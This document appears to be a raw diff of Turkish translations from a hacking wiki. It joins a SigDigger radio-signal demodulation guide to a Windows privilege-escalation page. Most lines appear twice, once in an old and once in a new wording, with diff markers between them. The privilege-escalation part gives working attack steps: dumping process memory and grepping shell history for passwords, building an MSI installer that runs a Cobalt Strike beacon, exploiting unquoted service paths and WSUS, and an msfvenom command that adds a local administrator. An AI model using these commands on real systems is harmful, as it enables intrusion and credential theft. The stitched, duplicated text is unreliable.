Bir sinyali kontrol ediyorsanız, bilgiyi depolamak için neyin kullanıldığını anlamanın farklı yolları vardır (aşağıda daha fazla yol bulabilirsiniz) ancak iyi bir yol IQ grafiğini kontrol etmektir.
![](<../../images/image (788).png>)
- **AM'yi tespit etme**: IQ grafiğinde örneğin **2 daire** görünüyorsa (muhtemelen biri 0'da ve diğeri farklı bir amplitüde), bu bir AM sinyali olduğu anlamına gelebilir. Bunun nedeni, IQ grafiğinde 0 ile daire arasındaki mesafenin sinyalin amplitüdü olmasıdır, bu nedenle kullanılan farklı amplitüdlere görsel olarak ulaşmak kolaydır.
- **PM'yi tespit etme**: Önceki resimde olduğu gibi, eğer birbirleriyle ilişkili olmayan küçük daireler bulursanız, bu muhtemelen bir faz modülasyonunun kullanıldığı anlamına gelir. Bunun nedeni, IQ grafiğinde nokta ile 0,0 arasındaki açının sinyalin fazı olmasıdır, bu da 4 farklı fazın kullanıldığı anlamına gelir.
- Bilginin, bir fazın değişmesi gerçeğinde gizli olduğunu ve fazın kendisinde değilse, farklı fazların net bir şekilde ayrılmadığını unutmayın.
- Bilginin, bir fazın değişmesi gerçeğinde gizli olduğunu ve fazın kendisinde olmadığını unutmayın, farklı fazları net bir şekilde ayırt edemezsiniz.
- **FM'yi tespit etme**: IQ'nun frekansları tanımlamak için bir alanı yoktur (merkeze olan mesafe amplitüd ve açı fazdır).\
Bu nedenle, FM'yi tanımlamak için, bu grafikte **temelde sadece bir daire görmelisiniz**.\
Ayrıca, farklı bir frekans IQ grafiği tarafından **daire boyunca hızlanma** ile "temsil edilir" (bu nedenle SysDigger'da sinyali seçtiğinizde IQ grafiği doldurulur, eğer oluşturulan dairede bir hızlanma veya yön değişikliği bulursanız, bu FM olduğu anlamına gelebilir):
Bu nedenle, FM'yi tanımlamak için bu grafikte **temelde sadece bir daire görmelisiniz**.\
Ayrıca, farklı bir frekans IQ grafiğinde **daire boyunca bir hız ivmesi** ile "temsil edilir" (bu nedenle SysDigger'da sinyali seçtiğinizde IQ grafiği doldurulur, eğer oluşturulan dairede bir ivme veya yön değişikliği bulursanız bu FM olabilir):
## AM Örneği
{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
{{#file}}
sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
{{#endfile}}
### AM'yi açığa çıkarma
#### Zarfı kontrol etme
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) ile AM bilgilerini kontrol ederken ve sadece **zarfı** gözlemleyerek farklı net amplitüd seviyeleri görebilirsiniz. Kullanılan sinyal, AM'de bilgi gönderen darbeler gönderiyor, bir darbenin görünümü şöyle:
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) ile AM bilgilerini kontrol ederken ve sadece **zarfı** inceleyerek farklı net amplitüd seviyeleri görebilirsiniz. Kullanılan sinyal, AM'de bilgi gönderen darbeler gönderiyor, bir darbenin görünümü şöyle:
![](<../../images/image (590).png>)
Ve bu, dalga formuyla sembolün bir kısmının görünümüdür:
Ve bu da dalga formuyla sembolün bir kısmının görünümüdür:
![](<../../images/image (734).png>)
#### Histogramı kontrol etme
Bilgi bulunan **tüm sinyali** seçebilir, **Amplitüd** modunu ve **Seçim** seçeneğini seçebilir ve **Histogram**'a tıklayabilirsiniz. İki net seviyenin yalnızca bulunduğunu gözlemleyebilirsiniz.
Bilgi bulunan **tüm sinyali** seçebilir, **Amplitüd** modunu ve **Seçim**'i seçebilir ve **Histogram**'a tıklayabilirsiniz. İki net seviyenin yalnızca bulunduğunu gözlemleyebilirsiniz.
![](<../../images/image (264).png>)
Örneğin, bu AM sinyalinde Amplitüd yerine Frekansı seçerseniz, sadece 1 frekans bulursunuz (frekans modülasyonunda bilgi sadece 1 frekans kullanıyorsa bu mümkün değildir).
Örneğin, bu AM sinyalinde Amplitüd yerine Frekansı seçerseniz sadece 1 frekans bulursunuz (frekans modülasyonunda bilgi sadece 1 frekans kullanıyorsa).
![](<../../images/image (732).png>)
Eğer birçok frekans bulursanız, bu muhtemelen bir FM olmayacaktır, muhtemelen sinyal frekansı sadece kanal nedeniyle değiştirilmiştir.
Eğer birçok frekans bulursanız, bu muhtemelen bir FM olmayacaktır, sinyal frekansı sadece kanal nedeniyle değiştirilmiş olabilir.
#### IQ ile
Bu örnekte, **büyük bir daire** olduğunu ama aynı zamanda **merkezde birçok nokta** olduğunu görebilirsiniz.
Bu örnekte, **büyük bir daire** olduğunu ancak aynı zamanda **merkezde birçok nokta** olduğunu görebilirsiniz.
![](<../../images/image (222).png>)
@ -106,42 +108,44 @@ Bulduğunuz en küçük sembolü seçin (böylece sadece 1 olduğundan emin olur
#### Bir grup sembolle
Seçtiğiniz sembol sayısını da belirtebilir ve SigDigger 1 sembolün frekansını hesaplayacaktır (seçilen sembol sayısı arttıkça muhtemelen daha iyi olacaktır). Bu senaryoda 10 sembol seçtim ve "Seçim frekansı" 1.004 kHz:
Seçmek istediğiniz sembol sayısını da belirtebilir ve SigDigger 1 sembolün frekansını hesaplayacaktır (seçilen sembol sayısı arttıkça muhtemelen daha iyi olacaktır). Bu senaryoda 10 sembol seçtim ve "Seçim frekansı" 1.004 kHz:
![](<../../images/image (1008).png>)
### Bitleri Alma
Bunun bir **AM modüle edilmiş** sinyal olduğunu ve **sembol hızını** bulduktan sonra (ve bu durumda yukarı bir şeyin 1 ve aşağı bir şeyin 0 anlamına geldiğini bilerek), sinyalde kodlanmış **bitleri elde etmek** çok kolaydır. Bu nedenle, bilgiyi içeren sinyali seçin ve örnekleme ve karar verme ayarlarını yapılandırın ve örnekle butonuna basın (lütfen **Amplitüd**'ün seçili olduğundan, keşfedilen **Sembol hızının** yapılandırıldığından ve **Gadner saat geri kazanımının** seçili olduğundan emin olun):
Bu bir **AM modüle edilmiş** sinyal olduğunu ve **sembol hızını** bulduğunuzu (ve bu durumda yukarı bir şeyin 1 ve aşağı bir şeyin 0 anlamına geldiğini bilerek), sinyalde kodlanmış **bitleri elde etmek** çok kolaydır. Bu nedenle, bilgiyi içeren sinyali seçin ve örnekleme ve karar verme ayarlarını yapılandırın ve örnekle düğmesine basın (lütfen **Amplitüd**'ün seçili olduğundan, keşfedilen **Sembol hızının** yapılandırıldığından ve **Gadner saat geri kazanımının** seçildiğinden emin olun):
![](<../../images/image (965).png>)
- **Seçim aralıklarına senkronize ol** demek, daha önce sembol hızını bulmak için aralıklar seçtiyseniz, o sembol hızının kullanılacağı anlamına gelir.
- **Manuel** demek, belirtilen sembol hızının kullanılacağı anlamına gelir.
- **Seçim aralıklarına senkronize olma**, daha önce sembol hızını bulmak için aralıklar seçtiyseniz, o sembol hızı kullanılacaktır.
- **Manuel**, belirtilen sembol hızının kullanılacağı anlamına gelir.
- **Sabit aralık seçimi** ile seçilmesi gereken aralık sayısını belirtirsiniz ve sembol hızını buradan hesaplar.
- **Gadner saat geri kazanımı** genellikle en iyi seçenektir, ancak yine de bazı yaklaşık sembol hızını belirtmeniz gerekir.
- **Gadner saat geri kazanımı** genellikle en iyi seçenektir, ancak yine de bazı yaklaşık sembol hızlarını belirtmeniz gerekir.
Örnekle butonuna bastığınızda bu görünür:
Örnekle düğmesine bastığınızda bu görünür:
![](<../../images/image (644).png>)
Şimdi, SigDigger'ın **bilgi taşıyan seviyenin aralığını** anlaması için **alt seviyeye** tıklayıp en yüksek seviyeye kadar basılı tutmanız gerekir:
Artık SigDigger'ın **bilgi taşıyan seviyenin aralığını** anlaması için **alt seviyeye** tıklayıp en yük seviyeye kadar basılı tutmanız gerekir:
![](<../../images/image (439).png>)
Eğer örneğin **4 farklı amplitüd seviyesi** olsaydı, **Sembol başına bit sayısını 2** olarak yapılandırmanız ve en küçüğünden en büyüğüne kadar seçmeniz gerekirdi.
Son olarak, **Zoom**'u **artırarak** ve **Satır boyutunu** **değiştirerek** bitleri görebilir (ve tüm bitleri almak için hepsini seçip kopyalayabilirsiniz):
Son olarak, **Zoom**'u **artırarak** ve **Satır boyutunu** **değiştirerek** bitleri görebilirsiniz (ve tüm bitleri almak için hepsini seçip kopyalayabilirsiniz):
![](<../../images/image (276).png>)
Eğer sinyalin sembol başına 1'den fazla bit varsa (örneğin 2), SigDigger **hangi sembolün** 00, 01, 10, 11 olduğunu bilmenin bir yoluna sahip değildir, bu nedenle her birini temsil etmek için farklı **gri tonları** kullanacaktır (ve eğer bitleri kopyalarsanız **0'dan 3'e kadar** sayılar kullanacaktır, bunları işlemeniz gerekecektir).
Eğer sinyalin sembol başına 1'den fazla biti varsa (örneğin 2), SigDigger **hangi sembolün** 00, 01, 10, 11 olduğunu bilmenin bir yoluna sahip değildir, bu nedenle her birini temsil etmek için farklı **gri tonları** kullanacaktır (ve eğer bitleri kopyalarsanız **0'dan 3'e kadar** sayılar kullanacaktır, bunları işlemeniz gerekecektir).
Ayrıca, **Manchester** gibi **kodlamalar** kullanın ve **yukarı+aşağı** **1 veya 0** olabilir ve bir aşağı+yukarı 1 veya 0 olabilir. Bu durumlarda, elde edilen yukarıları (1) ve aşağıları (0) **0 veya 1 olarak** değiştirmek için **işlemeniz gerekir**.
Ayrıca, **Manchester** gibi **kodlamalar** kullanın ve **yukarı+aşağı** **1 veya 0** olabilir ve aşağı+yukarı bir 1 veya 0 olabilir. Bu durumlarda, elde edilen yukarıları (1) ve aşağıları (0) **işlemeniz** gerekir, böylece 01 veya 10 çiftlerini 0 veya 1 olarak değiştirebilirsiniz.
## FM Örneği
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
{{#file}}
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
{{#endfile}}
### FM'yi açığa çıkarma
@ -151,7 +155,7 @@ FM'de modüle edilmiş bilgi gönderen sinyal örneği:
![](<../../images/image (725).png>)
Önceki resimde, **2 frekansın kullanıldığını** oldukça iyi gözlemleyebilirsiniz, ancak eğer **dalga formunu** gözlemliyorsanız, **2 farklı frekansı doğru bir şekilde tanımlamakta zorlanabilirsiniz**:
Önceki resimde, **2 frekansın kullanıldığını** oldukça iyi gözlemleyebilirsiniz, ancak **dalga formunu** incelerseniz **2 farklı frekansı doğru bir şekilde tanımlamakta zorlanabilirsiniz**:
![](<../../images/image (717).png>)
@ -159,7 +163,7 @@ Bu, sinyali her iki frekansta da yakaladığım için, bu nedenle biri diğerini
![](<../../images/image (942).png>)
Eğer senkronize frekans **bir frekansa diğerine göre daha yakınsa**, iki farklı frekansı kolayca görebilirsiniz:
Eğer senkronize frekans **bir frekansa diğerine göre daha yakınsa**, 2 farklı frekansı kolayca görebilirsiniz:
![](<../../images/image (422).png>)
@ -167,23 +171,23 @@ Eğer senkronize frekans **bir frekansa diğerine göre daha yakınsa**, iki far
#### Histogramı kontrol etme
Bilgi içeren sinyalin frekans histogramını kontrol ettiğinizde, iki farklı sinyali kolayca görebilirsiniz:
Bilgi içeren sinyalin frekans histogramını kontrol ettiğinizde, 2 farklı sinyali kolayca görebilirsiniz:
![](<../../images/image (871).png>)
Bu durumda, **Amplitüd histogramını** kontrol ederseniz, **sadece bir amplitüd** bulursunuz, bu nedenle **AM olamaz** (eğer birçok amplitüd bulursanız, bu muhtemelen sinyalin kanal boyunca güç kaybettiği anlamına gelir):
Bu durumda, **Amplitüd histogramını** kontrol ederseniz **sadece bir amplitüd** bulursunuz, bu nedenle **AM olamaz** (eğer birçok amplitüd bulursanız, bu muhtemelen sinyalin kanal boyunca güç kaybettiği anlamına gelir):
![](<../../images/image (817).png>)
Ve bu, faz modülasyonunun olmadığını çok net bir şekilde gösteren faz histogramı olacaktır:
Ve bu da faz histogramı olacaktır (bu, sinyalin fazda modüle edilmediğini çok net bir şekilde gösterir):
![](<../../images/image (996).png>)
#### IQ ile
IQ'nun frekansları tanımlamak için bir alanı yoktur (merkeze olan mesafe amplitüd ve açı fazdır).\
Bu nedenle, FM'yi tanımlamak için, bu grafikte **temelde sadece bir daire görmelisiniz**.\
Ayrıca, farklı bir frekans IQ grafiği tarafından **daire boyunca hızlanma** ile "temsil edilir" (bu nedenle SysDigger'da sinyali seçtiğinizde IQ grafiği doldurulur, eğer oluşturulan dairede bir hızlanma veya yön değişikliği bulursanız, bu FM olduğu anlamına gelebilir):
Bu nedenle, FM'yi tanımlamak için bu grafikte **temelde sadece bir daire görmelisiniz**.\
Ayrıca, farklı bir frekans IQ grafiğinde **daire boyunca bir hız ivmesi** ile "temsil edilir" (bu nedenle SysDigger'da sinyali seçtiğinizde IQ grafiği doldurulur, eğer oluşturulan dairede bir ivme veya yön değişikliği bulursanız bu FM olabilir):
![](<../../images/image (81).png>)
@ -193,6 +197,6 @@ Sembolleri taşıyan frekansları bulduktan sonra, sembol hızını almak için
### Bitleri Alma
Sinyalin **frekansa modüle edildiğini** ve **sembol hızını** bulduktan sonra, bitleri almak için **AM örneğinde kullanılan aynı tekniği** kullanabilirsiniz.
Sinyalin **frekans modüle edildiğini** ve **sembol hızını** bulduktan sonra, bitleri almak için **AM örneğinde kullanılan aynı tekniği** kullanabilirsiniz.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -32,7 +32,7 @@ integrity-levels.md
## Windows Güvenlik Kontrolleri
Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **önleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce, aşağıdaki **sayfayı** **okuyun** ve tüm bu **savunma** **mekanizmalarını** **listeleyin**:
Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **önleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce, aşağıdaki **sayfayı okumalı** ve tüm bu **savunma** **mekanizmalarını** **listelemelisiniz**:
{{#ref}}
../authentication-credentials-uac-and-efs/
@ -42,7 +42,7 @@ Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalışt
### Sürüm bilgisi listeleme
Windows sürümünün bilinen bir güvenlik ığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin).
Windows sürümünün bilinen bir açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin).
```bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
@ -79,7 +79,7 @@ Bu [site](https://msrc.microsoft.com/update-guide/vulnerability), Microsoft güv
### Ortam
Herhangi bir kimlik bilgisi/Çekici bilgi çevre değişkenlerinde kaydedildi mi?
Env değişkenlerinde herhangi bir kimlik bilgisi/juicy bilgi kaydedildi mi?
```bash
set
dir env:
@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### PowerShell Transkript dosyaları
Bunu nasıl açacağınızı öğrenmek için [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) adresini ziyaret edebilirsiniz.
Bunu nasıl açacağınızı öğrenmek için [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) adresine bakabilirsiniz.
```bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Script Block Logging**
Bir scriptin yürütülmesinin tam etkinlik ve içerik kaydı tutulur, böylece her kod bloğu çalıştıkça belgelenir. Bu süreç, her etkinliğin kapsamlı bir denetim izini korur, bu da adli tıp ve kötü niyetli davranışları analiz etmek için değerlidir. Yürütme anında tüm etkinlikleri belgeleyerek, süreç hakkında ayrıntılı bilgiler sağlanır.
Bir scriptin yürütülmesinin tam etkinlik ve içerik kaydı tutulur, her kod bloğunun çalıştığı sırada belgelenmesini sağlar. Bu süreç, her etkinliğin kapsamlı bir denetim izini korur, bu da adli tıp ve kötü niyetli davranışları analiz etmek için değerlidir. Yürütme anında tüm etkinlikleri belgeleyerek, süreç hakkında ayrıntılı bilgiler sunar.
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
@ -152,7 +152,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
```
## WSUS
Sistem, güncellemeler http yerine http**S** kullanılarak talep edilmediyse tehlikeye atılabilir.
Sistem, güncellemeler http**S** yerine http kullanılarak talep edilmediyse tehlikeye atılabilir.
Aşağıdaki komutu çalıştırarak ağın SSL olmayan bir WSUS güncellemesi kullanıp kullanmadığını kontrol edersiniz:
```
@ -171,16 +171,18 @@ Bu güvenlik açıklarını sömürmek için [Wsuxploit](https://github.com/pimp
Araştırmayı burada okuyun:
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
{{#file}}
CTX_WSUSpect_White_Paper (1).pdf
{{#endfile}}
**WSUS CVE-2020-1013**
[**Tam raporu burada okuyun**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
Temelde, bu hatanın sömürdüğü kusur şudur:
> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipseniz ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahip oluruz.
> Eğer yerel kullanıcı proxy'mizi değiştirme gücüne sahipsek ve Windows Güncellemeleri, Internet Explorer ayarlarında yapılandırılan proxy'yi kullanıyorsa, bu durumda kendi trafiğimizi yakalamak ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırmak için [PyWSUS](https://github.com/GoSecure/pywsus) kullanma gücüne sahibiz.
>
> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığı için, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifikada bir güven ilk kullanımda doğrulama türü uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adı varsa, hizmet tarafından kabul edilecektir.
> Ayrıca, WSUS hizmeti mevcut kullanıcının ayarlarını kullandığı için, mevcut kullanıcının sertifika deposunu da kullanacaktır. WSUS ana bilgisayarı için kendinden imzalı bir sertifika oluşturursak ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifikada bir güven ilk kullanımda doğrulama türü uygulamak için HSTS benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir olarak kabul ediliyorsa ve doğru ana bilgisayar adına sahipse, hizmet tarafından kabul edilecektir.
Bu güvenlik açığını [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) aracıyla (serbest bırakıldığında) sömürebilirsiniz.
@ -216,7 +218,7 @@ Sadece oluşturulan ikili dosyayı çalıştırarak ayrıcalıkları artırın.
### MSI Wrapper
Bu araçları kullanarak bir MSI wrapper nasıl oluşturulacağını öğrenmek için bu eğitimi okuyun. Sadece **komut satırlarını** **çalıştırmak** istiyorsanız bir "**.bat**" dosyasını sarmalayabileceğinizi unutmayın.
Bu araçları kullanarak bir MSI wrapper nasıl oluşturulacağını öğrenmek için bu eğitimi okuyun. Sadece **komut satırlarını** **çalıştırmak** istiyorsanız, bir "**.bat**" dosyasını sarmalayabileceğinizi unutmayın.
{{#ref}}
msi-wrapper.md
@ -231,12 +233,12 @@ create-msi-with-wix.md
### Visual Studio ile MSI Oluşturma
- **Cobalt Strike** veya **Metasploit** ile `C:\privesc\beacon.exe` konumunda **yeni bir Windows EXE TCP yükü** oluşturun.
- **Visual Studio**'yu açın, **Yeni bir proje oluştur** seçeneğini seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **İleri**ye tıklayın.
- **Visual Studio**'yu açın, **Yeni bir proje oluştur** seçeneğini seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **İleri**'ye tıklayın.
- Projeye **AlwaysPrivesc** gibi bir isim verin, konum için **`C:\privesc`** kullanın, **çözümü ve projeyi aynı dizine yerleştir** seçeneğini seçin ve **Oluştur**'a tıklayın.
- 4 adımın 3. adımına (dahil edilecek dosyaları seçin) gelene kadar **İleri**ye tıklamaya devam edin. **Ekle**'ye tıklayın ve yeni oluşturduğunuz Beacon yükünü seçin. Ardından **Tamamla**'ya tıklayın.
- **Çözüm Gezgini**'nde **AlwaysPrivesc** projesini vurgulayın ve **Özellikler**'de **TargetPlatform**'ı **x86**'dan **x64**'e değiştirin.
- 4 adımın 3. adımına (dahil edilecek dosyaları seçin) gelene kadar **İleri**'ye tıklamaya devam edin. **Ekle**'ye tıklayın ve yeni oluşturduğunuz Beacon yükünü seçin. Ardından **Tamamla**'ya tıklayın.
- **Çözüm Gezgini**'nde **AlwaysPrivesc** projesini vurgulayın ve **Özellikler**'de **TargetPlatform**'u **x86**'dan **x64**'e değiştirin.
- Yüklenen uygulamanın daha meşru görünmesini sağlayabilecek **Yazar** ve **Üretici** gibi değiştirebileceğiniz diğer özellikler de vardır.
- Projeye sağ tıklayın ve **Görüntüle > Özel Eylemler**'i seçin.
- Projeye sağ tıklayın ve **Görünüm > Özel Eylemler**'i seçin.
- **Kurulum**'a sağ tıklayın ve **Özel Eylem Ekle**'yi seçin.
- **Uygulama Klasörü**'ne çift tıklayın, **beacon.exe** dosyanızı seçin ve **Tamam**'a tıklayın. Bu, yükleyici çalıştırıldığında beacon yükünün hemen çalıştırılmasını sağlayacaktır.
- **Özel Eylem Özellikleri** altında **Run64Bit**'i **True** olarak değiştirin.
@ -267,7 +269,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
**LAPS**, **yerel Yönetici şifrelerinin yönetimi** için tasarlanmıştır ve her şifrenin **eşsiz, rastgele ve düzenli olarak güncellenmiş** olmasını sağlar. Bu şifreler, bir domaine katılan bilgisayarlarda güvenli bir şekilde Active Directory içinde saklanır ve yalnızca yeterli izinlere sahip kullanıcılara ACL'ler aracılığıyla erişim izni verilir, böylece yetkilendirilmişlerse yerel yönetici şifrelerini görüntüleyebilirler.
**LAPS**, **yerel Yönetici şifrelerinin yönetimi** için tasarlanmıştır ve her şifrenin **eşsiz, rastgele ve düzenli olarak güncellenmiş** olmasını sağlar. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca yeterli izinlere sahip kullanıcılara erişim izni verilir, böylece yetkilendirilmişlerse yerel yönetici şifrelerini görüntüleyebilirler.
{{#ref}}
../active-directory-methodology/laps.md
@ -282,7 +284,7 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
```
### LSA Koruması
**Windows 8.1** ile birlikte, Microsoft, sistemin güvenliğini artırmak için Güvenlik Yerel Otoritesi (LSA) için geliştirilmiş koruma sundu ve **güvensiz** süreçlerin **belleğini okuma** veya kod enjekte etme girişimlerini **engelledi**.\
**Windows 8.1** ile birlikte, Microsoft, sistemin güvenliğini artırmak için Güvenlik Otoritesi'nin (LSA) bellek okuma veya kod enjekte etme girişimlerini **engellemek** amacıyla geliştirilmiş koruma sağladı.\
[**LSA Koruması hakkında daha fazla bilgi burada**](../stealing-credentials/credentials-protections.md#lsa-protection).
```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
@ -359,7 +361,7 @@ powershell -command "Get-Clipboard"
### Dosya ve Klasör İzinleri
Öncelikle, süreçleri listelemek **sürecin komut satırında şifreleri kontrol edin**.\
Bazı çalışan ikili dosyaları **üst üste yazıp yazamayacağınızı** veya ikili dosya klasöründe yazma izinlerinizin olup olmadığını kontrol edin, olası [**DLL Hijacking saldırılarını**](dll-hijacking/index.html) istismar etmek için:
Bazı çalışan ikili dosyaları **üzerine yazıp yazamayacağınızı** veya ikili dosya klasöründe yazma izinlerinizin olup olmadığını kontrol edin, olası [**DLL Hijacking saldırılarını**](dll-hijacking/index.html) istismar etmek için:
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -370,7 +372,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
Her zaman [**çalışan electron/cef/chromium hata ayıklayıcılarını** kontrol edin, bunları ayrıcalıkları artırmak için kötüye kullanabilirsiniz](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
Her zaman [**çalışan electron/cef/chromium hata ayıklayıcılarını** kontrol edin, bunları yetki yükseltmek için kötüye kullanabilirsiniz](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
**Süreçlerin ikili dosyalarının izinlerini kontrol etme**
```bash
@ -391,7 +393,7 @@ todos %username%" && echo.
```
### Bellek Şifre Madenciliği
Çalışan bir sürecin bellek dökümünü **procdump** kullanarak sysinternals'tan oluşturabilirsiniz. FTP gibi hizmetler **kimlik bilgilerini bellek içinde düz metin olarak** saklar, belleği dökün ve kimlik bilgilerini okuyun.
Çalışan bir sürecin bellek dökümünü **procdump** kullanarak oluşturabilirsiniz. FTP gibi hizmetler **kimlik bilgilerini bellek içinde düz metin olarak** saklar, belleği dökün ve kimlik bilgilerini okuyun.
```bash
procdump.exe -accepteula -ma <proc_name_tasklist>
```
@ -399,7 +401,7 @@ procdump.exe -accepteula -ma <proc_name_tasklist>
**SYSTEM olarak çalışan uygulamalar, bir kullanıcının CMD açmasına veya dizinleri gezmesine izin verebilir.**
Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" araması yapın, "Komut İstemi'ni Açmak için Tıklayın" seçeneğine tıklayın.
Örnek: "Windows Yardım ve Destek" (Windows + F1), "komut istemi" için arama yapın, "Komut İstemi'ni Açmak İçin Tıklayın" seçeneğine tıklayın.
## Hizmetler
@ -464,7 +466,7 @@ Yetkiler çeşitli izinler aracılığıyla yükseltilebilir:
- **SERVICE_CHANGE_CONFIG**: Servis ikili dosyasının yeniden yapılandırılmasına izin verir.
- **WRITE_DAC**: İzin yeniden yapılandırmasını etkinleştirir, bu da servis yapılandırmalarını değiştirme yeteneğine yol açar.
- **WRITE_OWNER**: Mülk edinimi ve izin yeniden yapılandırmasına izin verir.
- **WRITE_OWNER**: Mülkiyet edinimi ve izin yeniden yapılandırmasına izin verir.
- **GENERIC_WRITE**: Servis yapılandırmalarını değiştirme yeteneğini devralır.
- **GENERIC_ALL**: Ayrıca servis yapılandırmalarını değiştirme yeteneğini devralır.
@ -472,7 +474,7 @@ Bu güvenlik açığının tespiti ve istismarı için _exploit/windows/local/se
### Servis ikili dosyalarının zayıf izinleri
**Bir servis tarafından yürütülen ikili dosyayı değiştirebilir misiniz** veya ikilinin bulunduğu **klasörde yazma izinleriniz var mı** ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
**Bir servis tarafından yürütülen ikili dosyayı değiştirebilir misiniz** veya **ikili dosyanın bulunduğu klasörde yazma izinleriniz var mı** ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
Bir servis tarafından yürütülen her ikili dosyayı **wmic** (system32'de değil) kullanarak alabilir ve izinlerinizi **icacls** ile kontrol edebilirsiniz:
```bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@ -541,19 +543,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
```powershell
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```
**Bu zafiyeti tespit edebilir ve istismar edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Metasploit ile manuel olarak bir hizmet ikili dosyası oluşturabilirsiniz:
**Bu güvenlik açığını tespit edebilir ve istismar edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Metasploit ile manuel olarak bir hizmet ikili dosyası oluşturabilirsiniz:
```bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
```
### Recovery Actions
Windows, bir hizmet başarısız olursa alınacak eylemleri belirtmeye olanak tanır. Bu özellik, bir ikili dosyaya işaret edecek şekilde yapılandırılabilir. Eğer bu ikili dosya değiştirilebilir ise, ayrıcalık yükseltme mümkün olabilir. Daha fazla ayrıntı [resmi belgede](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>) bulunabilir.
Windows, bir hizmet başarısız olursa alınacak eylemleri belirtmeye olanak tanır. Bu özellik, bir ikili dosyaya işaret edecek şekilde yapılandırılabilir. Eğer bu ikili dosya değiştirilebilir ise, ayrıcalık yükseltme mümkün olabilir. Daha fazla ayrıntı için [official documentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>) adresine bakabilirsiniz.
## Applications
### Installed Applications
